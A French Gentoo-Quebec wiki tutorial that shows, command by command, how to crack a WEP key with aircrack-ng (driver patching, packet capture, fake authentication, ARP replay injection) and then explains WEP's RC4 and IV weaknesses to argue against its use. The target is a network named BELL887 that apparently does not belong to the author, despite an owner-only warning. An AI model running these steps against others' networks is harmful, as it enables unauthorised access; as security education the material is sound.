OldGentooWiki:Attaque WEP

De Gentoo-Quebec.

(Redirigé depuis Attaque WEP)

Go-previous.png Index Wifi et sécurité


Gentoo-quebec+Funtoo-quebec.png

Attaque WEP


Sommaire

Introduction

Au cours de cet article, nous allons voir pourquoi il ne faut plus utiliser le cryptage WEP1 64 Bits ou 128 Bits, car c'est simple comme bonjour à casser cette protection. Ensuite nous allons voir d'où vient ce problème.

Démonstration

Il a été prouvé à de nombreuses reprises que ce niveau d'encryptage est dépassé surtout depuis que les normes WPA et WPA2 existent. Un petit rappel à ce sujet, l'encryptage WPA21 avec l'algorithme AES (CCMP2) peut être cassé en 1250 jours à partir d'un Pentium 4 cadencé à 2.4 Ghz, alors on peut dormir tranquille côté sécurité.

De plus, la norme WPPA2 a été créée pour améliorer et surtout corriger les lacunes de WEP. L'algorithme TKIP a été créé pour contrer les lacunes de WEP sans pour autant être incompatible avec les cartes qui utilisaient la norme WEP. Selon certaines personnes, le TKIP à été une version patchée de WEP sortie en catastrophe en attendant la standardisation de WPA2.

Pour démontrer cette lacune de l'encryptage WEP, nous allons vous montrer comment avec 4 consoles on peut casser une clé WEP en quelques minutes.

Warning 64.png
Attention !
Vous devez seulement utiliser cette méthode sur des réseaux dont vous êtes le propriétaire.

Analyse préliminaire

Tout d'abord, nous allons analyser les réseaux autour de notre ordinateur de test: lancer cette commande (Listing 1) dans la console #1.

Listing 1: Détection des réseaux disponibles

Gnome-dev-computer.png
# iwlist scan

wlan0 Scan completed :
Cell 01 - Address: 00:1A:70:62:40:88
ESSID:"gentoonet"
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=92/100 Signal level=-39 dBm Noise level=-127 dBm
Encryption key:on
IE: IEEE 802.11i/WPA2 Version 1
Group Cipher : CCMP
Pairwise Ciphers (1) : CCMP
Authentication Suites (1) : PSK
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9 Mb/s
12 Mb/s; 48 Mb/s
Extra:tsf=00000000f258763f

Cell 02 - Address: 00:1D:5A:E4:6C:D9
ESSID:"BELL887"
Mode:Master
Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=57/100 Signal level=-74 dBm Noise level=-127 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 6 Mb/s; 9 Mb/s
11 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s

Extra:tsf=00000b5d65a1dc41

Comme nous pouvons le voir (Listing 1), il y a 2 réseaux à la portée de l'ordinateur. Le premier réseau est encrypté en WPA2 avec CCMP, alors on ne perd pas son temps avec celui-ci.

Par contre, le deuxième réseau semble intéressant.

Installation des outils nécessaires pour mener à terme ce projet

Une des grandes particularités d'une telle attaque c'est qu'il faut qu'on puisse générer des communications sur le réseau même en l'absence d'activité.

Ce genre de manœuvre nécessite quelques modifications au niveau du driver de notre carte réseau.

Par exemple, le portable de test est un Thinkpad T60P équipé de la carte réseau Wifi suivante:

03:00.0 Network controller: Intel Corporation PRO/Wireless

3945ABG Network Connection (rev 02)

Selon le site Aircrack-ng qui fournit les logiciels de démonstration, il faut modifier le driver de cette carte pour permettre l'injection de la communication (ref: http://www.aircrack-ng.org/doku.php?id=ipw3945)

Avant de faire quoi que ce soit, vous devez comprendre ceci:

Tout d'abord le driver Ipwraw change de façon dramatique les interfaces réseaux dans notre cas.

Listing 2: État avant le chargement du driver Ipwraw

Gnome-dev-computer.png
# iwconfig

wmaster0 no wireless extensions.
wlan0 IEEE 802.11g ESSID:""
Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated
Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr=2346 B
Encryption key:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0

Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Pour notre installation sous Gentoo, nous avons dû faire les commandes suivantes: lancer les commandes du listing 4 dans la console #1.

Listing 4: Installation des logiciels nécessaires.

Gnome-dev-computer.png
# su -


# echo 'net-wireless/aircrack-ng wifi' $>$>$$ /etc/portage/package.use
# emerge -v aircrack-ng
# wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2
# tar -xjf ipwraw-ng*
# cd ipwraw-ng
# make
# make install_ucode
# make install
# nano /etc/modprobe.d/blacklist


blacklist ipwraw

Le fichier blacklist sous Gentoo permet de bloquer le chargement de ce module par Udev lors du démarrage du noyau.

Mise en route des attaques

Listing 5: Chargement des modules.

Gnome-dev-computer.png
# rmmod iwl3945
# modprobe ipwraw

Listing 6: Impact du chargement d'Ipwraw

Gnome-dev-computer.png
# iwconfig
wifi0 unassociated ESSID:off/any
Mode:Monitor Channel=1 Bit Rate=54 Mb/s
rtap0 no wireless extensions.

Alors on peut voir entre autre que Wlan0 et Wmaster0 n'existent plus (Listing 6). Comme vu précédemment dans le Listing 1, le réseau qui nous intéresse est le réseau BELL887 sur le canal 11. Alors nous devons préparer notre outil pour qu'il écoute ce canal en particulier.

Listing 7: Configuration de l'écoute du réseau.

Gnome-dev-computer.png
# iwconfig wifi0 channel 11
# iwconfig wifi0 rate 1M
# iwconfig wifi0 txpower 16

Démarrage de l'écoute réseau (Console 1)

C'est la première étape à faire, car on doit voir s'il y a de l'activité sur le réseau. Lancez cette commande dans la console #1.

Listing 8: Démarrage de l'écoute sur le canal 11.

Gnome-dev-computer.png
# cd ipwraw-ng
# airodump-ng -c 11 -d 00:1D:5A:E4:6C:D9 -w BELL887.cap rtap0
  • Le paramètre -c permet de choisir le canal
  • Le paramètre -d permet de filtrer seulement le réseau qu'on veut écouter.
  • Le paramètre -w permet de sauvegarder les infos dans un fichier .cap.
  • Rtap0 représente le nom de l'interface dans notre cas.
  • L'adresse MAC correspond à celle de notre réseau cible.

Wep etape2.jpg

Fig. 1: Écoute du canal 11


Comme vous pouvez le voir (Figure 1), ce réseau est bien encrypté avec une clé WEP.

Les champs qui nous intéressent sont les suivants: BBSID et #DATA, où BBSID représente l'adresse MAC de l'AP (point d'accès) du routeur en question et #DATA est l'indicateur d'activité sur le réseau cible.

Démarrage d'une connexion sur l'AP du routeur ciblé

Cette étape est critique, car nous devons établir une fausse connexion avec le routeur pour qu'il puisse communiquer avec l'ordinateur de test pour mener à terme cette attaque.

Lancer cette commande dans la console #2.

Listing 9: Démarrage de l'interface d'attaque.

Gnome-dev-computer.png
# ifconfig wifi0 up

Listing 10: Description de l'interface réseau wifi0

Gnome-dev-computer.png
# ifconfig
wifi0 Lien encap:UNSPEC HWaddr 00-1B-77-4F-4B-1A-50-E3-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:2346 Metric:1
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:1000
RX bytes:505 (505.0 b) TX bytes:0 (0.0 b)
Interruption:22 Adresse de base:0xa000 M�emoire:edf00000-edf00fff

Vous devez prendre note des 12 premiers caractères qui sont séparés par des - et remplacer ceux-ci par des :

Soit : 00 :1B :77 :4F :4B :1A

Il est maintenant temps de passer à l'authentification:

Lancez cette commande dans la console #2.

Listing 11:

Gnome-dev-computer.png
# cd ipwraw-ng
# aireplay-ng -1 0 -a 00:1D:5A:E4:6C:D9 -h 00:1B:77:4F:4B:1A -e BELL887 wifi0
  • Le paramètre -1 permet d'activer l'option Fake Authentification.
  • Le paramètre 0 permet d'indiquer qu'on veut être tout le temps associé à cet AP.
  • Le paramètre -a contient l'adresse MAC de l'AP cible.
  • Le paramètre -h contient l'adresse MAC de l'interface wifi0
  • le paramètre -e contient le nom de l'ESSID.
  • wifi0 représente l'adresse de l'interface réseau dans notre cas.

Wep airepaly.jpg

Fig. 2: Information retournée par aireplay-ng


Comme on peut le voir sur la figure 2, le tout est un succès.

Démarrage de l'injection de paquets dans le réseau ciblé

Puisque le driver de la carte IPW3945ABG à été modifié pour l'injection, c'est maintenant temps de l'utiliser pour stimuler l'activité du réseau.

Lancer cette commande dans la console #3

Listing 12:

Gnome-dev-computer.png
# cd ipwraw-ng
# aireplay-ng -3 -b 00:1D:5A:E4:6C:D9 -h 00:1B:77:4F:4B:1A -e BELL887 wifi0
  • Le paramètre -3 permet de stimuler l'injection.
  • Le paramètre -b contient l'adresse MAC de l'AP cible.
  • Le paramètre -h contient l'adresse MAC de l'interface wifi0.
  • Le paramètre -e contient le nom de l'ESSID.
  • wifi0 représente l'adresse de l'interface réseau dans notre cas.

Wep injection.jpg

Fig. 3: Injection de trafic


On envoie des requêtes ARP à l'AP car c'est un moyen très simple de générer du trafic sur le réseau et il n'y a aucune restriction au niveau du nombre de requêtes qu'on peut envoyer lorsqu'on communique avec un AP. C'est pour cette raison que ce type de requête est si souvent utilisé.

Décryptage de la clé WEP

tout d'abord, il faut bien comprendre que pour décrypter une clé WEP 64 Bits, il faut au moins 10 000 données (Figure 4). De plus, pour une clé WEP 128 Bits, il faut entre 40 000 et 250 000 données.

Quand le tout est atteint, vous n'avez plus qu'à lancer la commande suivante:

Lancez cette commande dans la console #4.

Listing 13:

Gnome-dev-computer.png
# cd ipwraw-ng
# aircrack-ng *.cap

Wep keyfound.jpg

Fig. 4: Décryptage de la clé


L'exécution de cette commande peut prendre entre 2 secondes et 15 secondes, car avec le nombre requis de données, le tout est décrypté très rapidement. Et quand vous avez la phrase Key Found c'est terminé. Alors comme vous avez vu, nout avons besoin de 4 consoles et le tour est joué. Cet article montre qu'il ne faut surtout pas utiliser cette méthode d'encryptage, car c'est vraiment très simple de la casser quand on sait comment utiliser les logiciels adéquats.

Pourquoi c'est ainsi

Tout d'abord, pour bien comprendre le problème, voici un exemple simple d'une trame encryptée WEP.

Pour débuter, le message est concaténé avec la somme du CRC8 du messsage. De plus, contrairement aux croyances, une clé WEP de 64 Bits, n'a pas 64 Bits de long, car 24 Bits sont alloués au IV, alors la clé est de seulement 40 Bits. Pour une clé de 128 Bits, le IV est aussi de 24 Bits et la clé est de 104 Bits de long. Selon le mode de communication WEP, la formule suivante est appliquée:

Exemple de code : Formule 1

PT = M || c(M)


  • Où PT représente le texte en clair (Plain Text).
  • Où M représente le message.
  • Où c(M) représente le résultat du CRC32 du message.
  • Où ---- représente le symbole de concaténation.

Exemple de code : Formule 2

KS = RC4(IV,K)


  • Où RC49 représente l'exécution de l'encryptage RC4 sur la variable IV et K.
  • Où IV10 représente la valeur du vecteur d'initialisation lors de la construction de la trame.
  • Où K représente la valeur de la clé WEP qui est secrète.

Exemple de code : Formule 3

(M || c(M)) XOR RC4(IV,K) = CE

PT XOR KS = CE


Comme on peut voir, la formule 3 utiliser le résultat de la formule 1 et elle fait l'opération logique OU exclusive avec le résultat de la formule 2 pour générer la chaine cryptée (CE).

Exemple de code : Formule 4

IV || CE


On concatène la valeur du IV (vecteur d'initialisation) avec le résultat de la formule 3. Ceci constitue une trame qui contient seulement les données sensibles qu'on veut cacher.

Emblem-documents.png
Note !
Il est à noter que la valeur du VI n'est jamais encrypté

Origine du problème

À première vue, il ne semble pas y avoir de problème, par contre les cryptanalystes du monde entier ont trouvé des problèmes importants.

La valeur du IV n'est pas crypté

Selon la définition du protocole 12, la valeur du vecteur d'initialisation (IV) n'est pas crypté lors des communications.

Ce fameux problème est très important. En effet, comme on peut voir en clair la valeur d'un IV, on peut décrypter le message sans même avoir la clé d'encryption.

Selon cette formule, on peut annuler l'encryptage de la manière suivante:

Exemple de code : Formule 3

PT XOR KS = CE


  1. PT = CE XOR KS
  2. PT = CE XOR RC4(IV,K)
  3. PT = (PT XOR RC4(IV,K)) XOR RC4(IV,K)

Tout d'abord, puisqu'on sait que la valeur de la chaine cryptée correspond à la formule 3, on peut transférer la variable PT pour trouver sa valeur (Point 1)

Ensuite, le point 2 est seulement une partie de la formule qui est explosée (La partie qui concerne la variable KS).

Dans le point 3, on a explosé la variable CE. Comme on peut voir, on fait un XOR 2 fois sur la variable PT, donc on annule son cryptage du même coup.

Et puisque la formule 1 est définit comme ceci:

Exemple de code : Formule

PT = M || c(M)


On peut lire facilement le texte même si à la fin du message nous allons nous retrouver avec une chaine de caractère qui représente le CheckSum du message (M).

Alors comme premier constat, même après tout ce travail on voit que même sans connaître la valeur de la clé WEP, nous avons accès à des informations sensibles.

Les valeurs des IV en double

Un autre problème découlant de IV est le suivant: ce vecteur peut être initialisé à 0 à chaque fois que la carte réseau d'un portable est débranchée (PCMCIA) ou carrément après un nombre alléatoire de trames envoyées. Alors il y a un risque d'avoir des doublures. Et ces fameux doubles permettent d'accélérer le décryptage de la clé.

En effet, en prenant cette formule, on peut dériver le résultat de 2 communications qui utilisent la même IV sans connaître la clé d'encryptage WEP.

Si:

Exemple de code : Formule

CE1 = PT1 XOR KS

CE1 = PT1 XOR RC4(IV,K)


Et:

Exemple de code : Formule

CE2 = PT2 XOR KS

CE2 = PT2 XOR RC4(IV,K)


Alors on peut déduire cette formule de la manière suivante :

Exemple de code : Formule

CE1 XOR CE2 = (PT1 XOR RC4(IV,K)) XOR (PT2 XOR RC4(IV,K))

CE1 XOR CE2 = PT1 XOR PT2


En termes clairs, si on a 2 trames qui ont la même IV, on a juste à faire un XOR entre les 2 textes et on peut décrypter les 2 messages d'un seul coup.

Comment Aircrack-ng fait pour décrypter une clé WEP

Tout d'abord, comme on a pu le voir, le tout s'explique avec des formules mathématiques. Aircrack-ng n'échappe pas à ce principe. En effet, Aircrack-ng utilise une formule mathématique (la 5 ème formule de ce document combiné avec un principe de statistique décrit dans ce document.

En gros, voici comment cela fonctionne:

Tout d'abord, chaque trame est passée dans la formule #5.

  1. Pour chaque valeur de IV, on calcule la valeur d'un octet de la clé et cela donne le résultat de la variable A.
  2. Ce résultat est ensuite mis dans une table de statistique et à chaque fois qu'une trame est calculé, on met y met le résultat de celle-ci.
  3. Alors plus on a de trames, plus on peut voir les statistiques octet par octet apparaître et du même coup, certaines valeurs d'octet vont revenir plus souvent que d'autre. C'est de cette manière que Aircrack-ng va deviner la clé, car il donne une côte à chaque valeur et plus l'octet à un nombre de vote élevé, plus il a de chance de faire partie de la clé WEP.
  4. De plus, cette technique fonctionne, car certains IV peuvent contenir une partie de la clé WEP décryptée.

En terminant, nous espérons que vous en savez plus sur les raisons pour ne pas utiliser l'encryptage WEP dans vos réseaux Wifi.


Outils personnels